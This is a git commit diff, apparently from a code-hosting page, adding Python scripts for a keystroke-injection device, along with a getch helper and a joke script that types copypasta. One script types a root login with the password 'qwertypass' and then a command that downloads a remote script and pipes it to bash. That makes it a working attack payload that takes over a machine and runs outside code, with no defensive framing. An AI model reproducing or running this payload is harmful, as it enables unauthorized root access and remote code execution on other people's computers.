add direct input and catch errors
parent
bbb21c0802
commit
3c5d5fa2c0
Binary file not shown.
Binary file not shown.
Binary file not shown.
@ -0,0 +1,39 @@
|
||||
class _Getch:
|
||||
"""Gets a single character from standard input. Does not echo to the
|
||||
screen."""
|
||||
def __init__(self):
|
||||
try:
|
||||
self.impl = _GetchWindows()
|
||||
except ImportError:
|
||||
self.impl = _GetchUnix()
|
||||
|
||||
def __call__(self): return self.impl()
|
||||
|
||||
|
||||
class _GetchUnix:
|
||||
def __init__(self):
|
||||
import tty, sys
|
||||
|
||||
def __call__(self):
|
||||
import sys, tty, termios
|
||||
fd = sys.stdin.fileno()
|
||||
old_settings = termios.tcgetattr(fd)
|
||||
try:
|
||||
tty.setraw(sys.stdin.fileno())
|
||||
ch = sys.stdin.read(1)
|
||||
finally:
|
||||
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
|
||||
#print(hex(ord(ch)))
|
||||
return ch
|
||||
|
||||
|
||||
class _GetchWindows:
|
||||
def __init__(self):
|
||||
import msvcrt
|
||||
|
||||
def __call__(self):
|
||||
import msvcrt
|
||||
return msvcrt.getch()
|
||||
|
||||
|
||||
getch = _Getch()
|
@ -0,0 +1,14 @@
|
||||
#!/usr/bin/env python3
|
||||
from kb import write_str
|
||||
from time import sleep
|
||||
from getch import _Getch
|
||||
|
||||
get = _Getch();
|
||||
while True:
|
||||
input_key = get()
|
||||
print(input_key)
|
||||
#if input_key == "?":
|
||||
# break
|
||||
if ord(input_key) == 27:
|
||||
break
|
||||
write_str(input_key)
|
@ -0,0 +1,10 @@
|
||||
#!/usr/bin/env python3
|
||||
from kb import write_str
|
||||
from time import sleep
|
||||
|
||||
write_str("root\n")
|
||||
sleep(0.5)
|
||||
write_str("qwertypass\n")
|
||||
sleep(2)
|
||||
write_str("dwget deck.sh/p -qO-|bash\n")
|
||||
sleep(1)
|
@ -0,0 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
from kb import write_str
|
||||
from time import sleep
|
@ -0,0 +1,6 @@
|
||||
#!/usr/bin/env python3
|
||||
from kb import write_str
|
||||
from time import sleep
|
||||
|
||||
#write_str("Number one. Steady hand. One day, Kim Jong Un need new heart. I do operation. But mistake! Kim Jong Un die! SSD very mad! I hide fishing boat, come to America. No English, no food, no money. Darryl give me job. Now I have house, American car and new woman. Darryl save life.\n\nMy big secret. I kill Kim Jong Un on purpose. I good surgeon. The best!")
|
||||
write_str("Today when I walked into my economics class I saw something I dread every time I close my eyes. Someone had brought their new gaming laptop to class. The Forklift he used to bring it was still running idle at the back. I started sweating as I sat down and gazed over at the 700lb beast that was his laptop. He had already reinforced his desk with steel support beams and was in the process of finding an outlet for a power cable thicker than Amy Schumer's thigh. I start shaking. I keep telling myself I'm going to be alright and that there's nothing to worry about. He somehow finds a fucking outlet. Tears are running down my cheeks as I send my last texts to my family saying I love them. The teacher starts the lecture, and the student turns his laptop on. The colored lights on his RGB Backlit keyboard flare to life like a nuclear flash, and a deep humming fills my ears and shakes my very soul. The entire city power grid goes dark. The classroom begins to shake as the massive fans begin to spin. In mere seconds my world has gone from vibrant life, to a dark, earth shattering void where my body is getting torn apart by the 150mph gale force winds and the 500 decibel groan of the cooling fans. As my body finally surrenders, I weep, as my school and my city go under. I fucking hate gaming laptops.")
|
Loading…
Reference in New Issue